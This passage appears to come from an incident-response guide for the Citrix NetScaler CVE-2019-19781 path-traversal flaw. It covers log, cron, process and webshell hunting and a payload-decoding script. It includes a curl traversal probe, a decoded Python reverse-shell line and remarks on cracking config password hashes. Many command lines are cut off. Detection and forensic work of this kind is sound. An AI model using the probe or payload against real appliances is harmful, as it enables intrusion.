

unlike some other scanners available at the moment. Check the reddit link above for alternative scanners.

Shodan queries (in combination with asn: , net: , org: etc. for limiting the scope to your network):

```
http.waf:"Citrix NetScaler"
```

If you have a higher subscription paid API plan (e.g. academic users or small business API), vuln:cve-2019-19781 is available.

As <a href="http:waf">http:waf</a> might not find everything and for some reason in the Shodan cli won't accept this search term, here are some alternatives:

```
http.title:"NetScaler"
http.title:"Citrix Gateway"
http.title:"Citrix Login"
```

A quick one-liner to determine if a single host is exploitable:

```
$ curl 'https://host/vpn/../vpns/cfg/smb.conf' --path-as-is
```

## Taking an image

Credit to Christopher Glyer for posting this great tip on Twitter.

Send an image of the disk over SSH to a remote server:

(Change partition names as as appropriate df -h)

Retrieve an image of the disk over SSH:

```
ssh user@[IP address] "shell dd if=/dev/md0 | gzip -1 - " | dd of=/[full ssh user@[IP address] "shell dd if=/dev/ad0s1a | gzip -1 - " | dd of=/[f ssh user@[IP address] "shell dd if=/dev/ad0s1b | gzip -1 - " | dd of=/[f
```

Remove gzip if you're concerned about a performance hit on the host, your ouput file will be raw and contain unallocated space from the partition.

Details on how to mount a FreeBSD image.

### Artifacts related to exploitation

You can drop into a shell by running the command shell after SSHing into the appliance.

```
$ ssh nsroot@192.168.0.5
..
Last login: Thu Nov 28 20:39:03 2019 from 192.168.0.4
Done
> shell
...
root@ns#
```

Search for files created from when exploit became public

(Also check /var/tmp/netscaler/portal/templates/ and /var/vpn/bookmark/ for newly created .xml files)

The appliance doesn't have GNU find, nor the stat command, so one way to search for all modified files (in order) from the 10th of Jan:

```
root@ns# # find / -newermt "2020-01-10" -not -path "/proc/*" -type f -pr
```

Narrowing down the results, look for webshells, e.g. php, pl files, xml files (or any file modified since the public exploit was released) in any subdirectory under /netscaler/:

```
root@ns# find /netscaler -newermt "2020-01-10" -type f -print0 | xargs - 🖵
```

Backdoors are also being observed to be hidden in existing files that can only be triggered with the path traversal vulnerability, so it's worth taking a close look. PHP files placed in the following paths can be invoked from an external HTTP request:

```
/netscaler/portal/admin/scripts/
/netscaler/portal/supporting_files/
/var/netscaler/gui/vpn/scripts/linux
/var/netscaler/gui/vpns/help
/var/netscaler/gui/vpns/scripts/mac
/var/ns_gui/n_top
/var/ns_gui/shared
/var/ns_gui/support
/var/vpn/theme
/var/vpn/themes
```

The above is configured in /etc/httpd.conf with the Alias directive. Good to double check if the version running has any extra Aliases.

Perl files in /netscaler/portal/scripts/ has been observed to be modified by attackers. If you have other appliances that are known to be in a good state on the same version somewhere else (e.g. staging env), the hashes could be compared. (Or even extracted from a clean image).

```
root@ns# md5 /netscaler/portal/scripts/*
MD5 (/netscaler/portal/scripts/PersonalBookmark.pl) = d45a1c4924170e2c39
```

On my test instance these are the only valid perl scripts under that directory: (Citrix Gateway VPX for ESX Build 13.0-47.22)

Filename	MD5
tips.pl	3280ba3ab11a34077885f9de1beb1c92
logout.pl	2a2b40bfdedfc8b4ba56c280994d8d37
navthemes.pl	9926d0a20e179756daeb4688c8a03b37
newbm.pl	0591c29843bc5a48368ed06c23a3733a
picktheme.pl	575f21c82bd84aa458466e0c378d9abc
rmbm.pl	85b99d94aa01718e1ce830cd86c2d2ff
subscription.pl	bb959a65984bad31acd925312d12de8f
themes.pl	5fcb189ac8c557ab1d956e612dae0a05
PersonalBookmark.pl	d45a1c4924170e2c398831676a3b8102

Doing an 1s -altr might uncover newer modified files. The timestamps should all be the same for these files. Note that timestamps can be modified with the touch command so this is why checking the hashes is important.

Check all cronjobs. If you see any under the user nobody, be alarmed.

```
root@ns# for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l
```

Check the crontab logs

```
# cat /var/log/cron | sed 's/ */ /g' | cut -d" " -f 10 | sort | uniq -c
```

#### Credit darkQuassar

Check bash logs. Pay attention to anything run by the nobody user. Grepping for a tty to reduce noise:

```
root@ns# cat /var/log/bash.log | grep '/dev/pts/'
root@ns# zcat /var/log/bash.log.*.gz | grep '/dev/pts/'
```

<u>TrustedSec's Netscaler forensics</u> page notes to also pay attention to "commands executed with the phrase '(null) on' where the username should be".

## **HTTP Logs**

update Here I would recommend to consider using Fireeye's automated tool

The following information is now slightly outdate. The most accurate regex to find all methods of comprimise can be found in the Fireye scanner tool <u>source</u>

Fireeye have <u>found widespread malware</u> that is said to exploit with a single <u>POST</u> request. The actual mechanism to achieve this is not yet known. For that reason, it's best to look directly for <u>POST</u> requests to <u>.p1</u> files with either a 200 or 304 response. Will update here when more information is known. Additionally it turns out that the second request can be a HEAD to trigger the payload. So rely on this primarily:

Logs are rotated and compressed, so when grepping, be sure to consider this (e.g. use zcat, zgrep)

```
Q
root@ns# egrep 'logfilename|http|bash' /etc/newsyslog.conf
                      [owner:group]
# logfilename
                                       mode count size when flags [/pi
                                                 100 *
/var/log/bash.log
                                       644 25
                                                            Z
/var/log/httperror.log
                                       600 5
                                                 100 *
                                                                  /var
/var/log/httpaccess.log
                                       600 5
                                                 100 *
                                                                  /var
```

size 100 = 100KB. Files are rotated hourly. See documentation

When looking at the logs there will be at minimum 2 HTTP requests, with the first being POST or GET to a vulnerable perl script. The second will generally be a GET request to an XML file with a random name.

(The initial exploits used a POST initially, but it has been shown that a GET request is also possible, writing the template into the actual filename itself) credit: @mpgn\_x64

Example from the 2nd released public exploit from <u>Trustedsec</u> (which invokes a reverse shell):

```
root@ns# tail -2 /var/log/httpaccess.log

192.168.0.4 - - [28/Nov/2019:22:28:20 +0000] "POST /vpns/portal/scripts/
192.168.0.4 - - [28/Nov/2019:22:28:22 +0000] "GET /vpns/portal/xbtewgybb
```

It is also possible to exploit by writing the RCE template into the actual filename with either a POST or GET request, so when searching logs, also look at GET requests to .pl scripts.

The following is a nice way to show successful exploitation with much less noisy log output. A POST or GET of a .pl file, followed by a GET of an XML file is what you are looking for when running:

```
root@ns# grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log - Croot@ns# zgrep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log.
```

Credit @ItsReallyNick

Check for dropped php webshells:

```
root@ns# grep -iE '(support|shared|n_top|vpn|themes).+\.php HTTP/1\.1\" root@ns# zgrep -iE '(support|shared|n_top|vpn|themes).+\.php HTTP/1\.1\"
```

### Sensitive files

The <code>/nsconfig/ns.conf</code> file contains passwords that are plain text or hashed. The hashed passwords can be cracked easily. (Salted SHA-512). See <a href="Hashcat's Twitter post">Hashcat's Twitter post</a>. They should all be changed.

```
root@ns# grep hashmethod /nsconfig/ns.conf
set system user nsroot 232e00d9695911eede6a540151e66086154bad5221c82f845
add system user test 20fe9bc35e289bc39739f26cc6157cf3a27a8020e83d56b300f
```

Interesting enough, the initial password is in plain-text. ns.conf.\* files should also be checked.

```
root@ns# grep nsroot /nsconfig/ns.conf.0

set system user nsroot nsroot
```

Malicious template that has been observed that doesn't execute code in a shell. The following template appears intended to exfiltrate the ns.conf file:

credit: @msandbu

## **Payloads**

The <u>Trustedsec</u> PoC specifically encodes the payload. It also appears the <u>Metasploit exploit</u> does the same.

If you see something like this in the dropped template file:

```
<bookmark UI_inuse="a" descr="desc" title="[% template.new({'BLOCK'=
```

Decode with the script below. In this example we see a reverse python shell:

```
$ python decode.py payload.xml
/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(s)
```

Here is a quick and dirty decoding script ( decode.py ):

```
import re
import sys

if len(sys.argv) != 2 :
    print "usage: ./decode.py payload.txt"
    sys.exit(1)

f = open(sys.argv[1])
```

```
l = [b.rstrip() for b in f.readlines()]
j = "".join(1)
f.close()
a = re.search(r'.*readpipe\((.*)\)\'.*', j)
if a is None :
    print "Can't find encoded payload"
    os.Exit(1)

payload = ""
for i in a.group(1).split('.') :
    c = re.search(r'chr\((\d+)\)',i)
    if c is not None :
        k = int(c.group(1))
        payload = payload + str(chr(k))
print payload
```

## **Processes**

For FreeBSD, use the -d switch to show the parent processes. (Equiv to forrest, -f in GNU ps ) Specifically look out for child proceeses of httpd.

```
Q
root@ns# ps auxd
USER
          PID %CPU %MEM VSZ
                             RSS TT STAT STARTED
                                                     TIME COMMAN
          966 0.0 0.8 110392 12808 ?? Ss
                                          7:59PM 0:02.11 |-- /
root
nobody
         1013 0.0 1.0 131076 16096 ?? I 7:59PM 0:41.11 | |--
nobody
         4437 0.0 0.9 137192 14620 ?? I
                                          10:09PM 0:00.69 | |--
nobody
         4438 0.0 1.3 135208 20488 ?? I 10:09PM 0:00.91 | |--
nobody
         9560 0.0 1.5 131012 25236 ?? I
                                          11:42PM
                                                   0:07.98 | |--
nobody
         9561 0.0 1.5 131012 24700 ?? I 11:42PM 0:08.54 | |--
        10683 0.0 0.8 37396 13564 ?? I
                                          12:19AM
nobody
                                                  0:00.14 | | `-
nobody
        10684 0.0 0.1 8320 1364 ?? I
                                          12:19AM
                                                  0:00.01 | |
```

The default processes observed in a fresh install is at the last section of this document.

Look for suspicious connections. In FreeBSD you can use sockstat with the -c swith to show connected sockets with the corresponding process. (Similar to netstat -natp which is not available).

In the following example, the attacker is 192.168.0.4:

```
root@ns# sockstat -c -4 | awk '{ if (substr($7,1,8) != "127.0.0.") print ☐
USER
       COMMAND PID FD PROTO LOCAL ADDRESS
                                                   FOREIGN ADDRES
                 49870 0 tcp4
                                                  192.168.0.4:44
nobody sh
                                192.168.0.5:34623
                 49870 1 tcp4 192.168.0.5:34623 192.168.0.4:44
nobody
       sh
                 49870 2 tcp4
                               192.168.0.5:34623 192.168.0.4:44
nobody
       sh
       sh
                 49870 3 tcp4
                               192.168.0.5:34623 192.168.0.4:44
nobody
      python2.7 49869 0 tcp4 192.168.0.5:34623
                                                  192.168.0.4:44
nobody
nobody
       python2.7 49869 1 tcp4 192.168.0.5:34623
                                                  192.168.0.4:44
nobody
       python2.7 49869 2 tcp4 192.168.0.5:34623 192.168.0.4:44
nobody
        python2.7 49869 3 tcp4
                                                   192.168.0.4:44
                                192.168.0.5:34623
nobody httpd 43544 10 tcp4
                              127.0.0.1:80
                                                  192.168.0.4:29
        aslearn 1307 10 tcp4
                                127.0.0.1:3021
                                                   192.168.0.5:30
root
                                192.168.0.5:3010
root
        nsconfigd 1260 19 tcp4
                                                   192.168.0.5:33
        nsconfigd 1260 21 tcp4
                               192.168.0.5:3010
                                                   192.168.0.5:58
root
```

We can dig deeper with <code>lsof</code> which is fortunately installed on the box (trimmed for brevity). Here we can see the TCP connections for a reverse shell, involved from the python interpreter:

```
Q
root@ns# lsof -p 49869
COMMAND
           PID USER FD
                            TYPE
                                             DEVICE SIZE/OFF
                                                              NODE NA
python2.7 49869 nobody cwd
                            VDIR
                                               0,59
                                                         512
                                                                  2 /
python2.7 49869 nobody rtd
                            VDIR
                                               0,59
                                                         512
                                                                 2 /
python2.7 49869 nobody txt
                            VREG
                                               0,69 6222951 216396 /v
                                               0,59 250704 27434 /1
python2.7 49869 nobody txt
                            VREG
python2.7 49869 nobody txt
                            VREG
                                               0,59 1268552 13718 /1
python2.7 49869 nobody txt
                            VREG
                                               0,69
                                                       40090 235543 /v
python2.7 49869 nobody txt
                            VREG
                                               0,69
                                                     191268 235556 /v
```

python2.7 49869 nobody	txt	VREG	0,59	85392	13814 /1	
python2.7 49869 nobody	0u	IPv4 0	0xffffff0072278760	0t0	TCP 19	
python2.7 49869 nobody	1u	IPv4 0	0xffffff0072278760	0t0	TCP 19	
python2.7 49869 nobody	2u	IPv4 0	0xffffff0072278760	0t0	TCP 19	
python2.7 49869 nobody	3u	IPv4 0	0xffffff0072278760	0t0	TCP 19	

The /proc/ filesystem also can give us some information:

```
root@ns# file /proc/49869/file /proc/49869/file: symbolic link to `/var/python/bin/python2.7'
```

/proc/<pid>/cmdline may also be of interest.

Check processes that are listening on both TCP and UDP sockets:

```
root@ns# sockstat -1 -P tcp,udp
```

It's normal to see the nobody user listening on TCP port 80 and 443 as user httpd. If you see UDP port 18634 for httpd, then there is a high probability the device is infected with the NOTROBIN malware described in Fireeye's post

# Getting the virtual appliance working in VirtualBox

If you want to play around yourself and don't have access to a gateway you can spin up one locally.

After signing up to citrix.com and logging in, you can download the latest vulnerable appliance at this direct link: <a href="https://www.citrix.com/downloads/citrix-gateway/product-software/citrix-gateway-13-0-build-47-22.html">https://www.citrix.com/downloads/citrix-gateway/product-software/citrix-gateway-13-0-build-47-22.html</a>

Once the .ovf has been imported into VirtualBox, on the host you must set the following (this assumes the VM name is NSVPX-ESX )

```
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/VBoxManage setextradata NSVPX-ESX "VBoxManage setextradata NSVPX-ESX "VBoxManage setextradata NSVPX-ES
```

On the first boot you will be asked for an IP address and subnet. The installation will then complete. You can log in with the credentials <code>nsroot</code> / <code>nsroot</code> . You do not need to active a license to exploit the VM.

#### **Default processes**

Here is a list of processes running on a vanilla installation. If on a similar version, look carefully at processes that are different.

Citrix Gateway VPX for ESX Build 13.0-47.22

root root root	1202 1204		32.2	) 0 523996		??	RL	7:59PM	27:45.13 [idle
root	1204			523996	524176	c 3.			
		0.6	1 1			b !	? Rs	7:59PM	39:46.59 nspp
noot			т.т	31744	17344	??	Rs	7:59PM	2:00.52 /netsc
1000	0	0.0	0.0	0	704	??	DLs	7:59PM	0:00.17 [kerne
root	1	0.0	0.0	3204	428	33	ILs	7:59PM	0:00.03 /sbin/
root	2	0.0	0.0	0	16	33	DL	7:59PM	0:00.02 [g_eve
root	3	0.0	0.0	0	16	??	DL	7:59PM	0:00.24 [g_up]
root	4	0.0	0.0	0	16	??	DL	7:59PM	0:00.39 [g_dow
root	5	0.0	0.0	0	16	33	DL	7:59PM	0:00.00 [crypt
root	6	0.0	0.0	0	16	??	DL	7:59PM	0:00.00 [crypt
root	7	0.0	0.0	0	16	??	DL	7:59PM	0:00.00 [mpt_r

root	8	0.0	0.0	0 16	33	DL	7:59PM	0:00.00 [sctp_
root	9	0.0	0.0	0 16	??	DL	7:59PM	0:00.00 [xpt_t
root	10	0.0	0.0	0 16	??	DL	7:59PM	0:00.00 [audit
root	12	0.0	0.0	0 224	??	WL	7:59PM	5:51.55 [intr]
root	13	0.0	0.0	0 16	??	DL	7:59PM	0:08.13 [yarro
root	14	0.0	0.0	0 16	??	DL	7:59PM	0:07.38 [gv_wo
root	15	0.0	0.0	0 16	??	DL	7:59PM	0:00.30 [md0]
root	16	0.0	0.0	0 16	??	DL	7:59PM	0:00.16 [paged
root	17	0.0	0.0	0 16	??	DL	7:59PM	0:00.00 [vmdae
root	18	0.0	0.0	0 16	??	DL	7:59PM	0:00.00 [pagez
root	19	0.0	0.0	0 16	??	SL	7:59PM	0:00.04 [nsidl
root	20	0.0	0.0	0 16	??	DL	7:59PM	0:00.48 [bufda
root	21	0.0	0.0	0 16	??	DL	7:59PM	0:01.10 [synce
root	22	0.0	0.0	0 16	??	DL	7:59PM	0:00.80 [vnlru
root	23	0.0	0.0	0 16	??	DL	7:59PM	0:00.81 [softd
root	24	0.0		10624 10676	??	S	7:59PM	0:02.26 nspitb
root	958	0.0	0.1	6896 1204	??	Ss	7:59PM	0:00.14 /usr/s
root	960	0.0	0.1	9008 1168	??	Is	7:59PM	0:00.00 /usr/s
root	962	0.0	0.1	7952 1220	??	Ss	7:59PM	0:00.05 /usr/s
root	966	0.0	1.5	110392 23868	??	Ss	7:59PM	0:01.12 /bin/
root	969	0.0		10196 2376	??	I	7:59PM	0:00.17 /usr/l
root	972	0.0		19104 3340	??	Ss	7:59PM	0:00.17 /usr/s
nobody	1012	0.0		128964 34780	??	I	7:59PM	0:00.38 /bin/
-		0.0		128964 35344	??	I	7:59PM	0:00.38 /bin/ 0:03.47 /bin/
nobody	1013							
nobody	1014	0.0		128964 35012	33	I	7:59PM	0:00.25 /bin/
nobody	1015	0.0		128964 34764	33	I	7:59PM	0:00.23 /bin/
nobody	1016	0.0		128964 33232	??	I	7:59PM	0:00.14 /bin/
root	1201	0.0		12648 4060	??	Ss	7:59PM	0:00.28 nslped
root	1225	0.0		10868 2852	33	Ss	7:59PM	0:00.03 /netsc
root	1226	0.0		33360 12556		Ss	7:59PM	0:28.85 /netsc
root	1227	0.0		76228 3788	??	Ss	7:59PM	0:03.39 /netsc
root	1228	0.0		10624 3020	33	Ss	7:59PM	0:00.17 /netsc
root	1250	0.0		30968 16780	33	Ss	7:59PM	0:00.48 /netsc
root	1252	0.0		44996 19876	??	S	7:59PM	0:02.89 /netsc
root	1255	0.0	0.2	10620 2976	33	Ss	7:59PM	0:00.03 /netsc
root	1263	0.0	0.3	11164 5072	33	Ss	7:59PM	0:00.18 /netsc
root	1270	0.0	0.2	16072 2508	33	Is	7:59PM	0:00.00 /netsc
root	1279	0.0	0.8	43720 12508	??	S	7:59PM	0:01.16 php /n
root	1293	0.0	0.1	10132 1392	33	Is	7:59PM	0:00.00 /netsc
root	1294	0.0	0.1	6016 1764	33	I	7:59PM	0:00.00 /netsc
root	1295	0.0	0.7	53940 11468	??	I	7:59PM	0:00.24 /netsc
root	1297	0.0	0.2	6016 2696	??	S	7:59PM	0:00.49 /netsc
root	1301	0.0	0.2	7436 3220	??	S	7:59PM	0:00.33 /netsc
root	1305	0.0	0.4	15756 6020	??	S	7:59PM	0:00.56 /netsc
root	1310	0.0	0.4	18148 5972	??	Ss	7:59PM	0:00.56 /netsc
root	1312	0.0	0.4	27044 6428	??	S	7:59PM	0:01.79 /netsc
root	1314	0.0	0.3	14160 5404	??	Ss	7:59PM	0:00.43 /netsc
root	1317	0.0	0.5	18228 7696	??	Rs	7:59PM	1:43.34 /netsc
root	1319	0.0	0.1	8320 1516	??	I	7:59PM	0:00.00 sh /ne
root	1325	0.0	0.6	28904 9552	??	Ss	7:59PM	0:00.40 /netsc
root	1332	0.0	0.1	7920 2432	??	Ss	7:59PM	0:00.18 /netsc
root	1333	0.0	0.1	5800 940	??	Ss	7:59PM	0:00.02 /netsc
root	1335	0.0		57572 30776	??	I	7:59PM	0:00.16 /netsc
root	1336	0.0	1.9	57572 30796	??	I	7:59PM	0:00.20 /netsc
root	1338	0.0	0.1	8320 2364	??	I	7:59PM	0:00.11 /usr/b
root	1344	0.0	0.4	26132 6792	??	Ss	7:59PM	0:22.77 /netsc
root	1345	0.0	0.1	8264 2032	??	I	7:59PM	0:00.01 /netsc
root	1354	0.0		30980 5796	??	Ss	7:59PM	0:00.09 /netsc
root	1355	0.0		21068 11332	??	Ss	7:59PM	0:00.57 /netsc
root	1377	0.0		18060 5816	??	I	7:59PM	0:00.01 /netsc
root	1430	0.0	0.1	1532 984	??	Ss	7:59PM	0:01.30 /netsc
root	1459	0.0		18400 3512	??	S	7:59PM	0:54.10 /netsc
nsmonitor	1462	0.0		10620 2876	??	Ss	7:59PM	0:00.54 /netsc
nobody	1495	0.0		110456 27468	??	I	7:59PM	0:00.07 /bin/
root	1524	0.0	0.1	6892 1132	??	S	8:00PM	0:00.01 /usr/l
root	2228	0.0	0.0	2736 728	??	S I	8:38PM	0:00.01 /usr/1
								•
root	2241	0.0		19104 4084	, i	Ss	8:38PM	0:00.05 sshd:
root	1516	0.0	0.1	6892 1088	v0	Is+	8:00PM	0:00.00 /usr/l
root	1517	0.0	0.1	6892 1088	v1	Is+	8:00PM	0:00.00 /usr/l
root	1518	0.0	0.1	6892 1088	v2	Is+	8:00PM	0:00.00 /usr/l
root	1519	0.0	0.1	6892 1088	v3	Is+	8:00PM	0:00.00 /usr/l
root	1520	0.0	0.1	6892 1088	v4	Is+	8:00PM	0:00.00 /usr/l
root	1521	0.0	0.1	6892 1088	v5	Is+	8:00PM	0:00.00 /usr/l
root	1522	0.0	0.1	6892 1088	v6	Is+	8:00PM	0:00.00 /usr/l

root 1523 0.0 0.1 6892 1088 v7 Is+ 8:00PM 0:00.00 /usr/l root 2247 0.0 0.5 18060 8016 0 Ss 8:39PM 0:00.11 nscli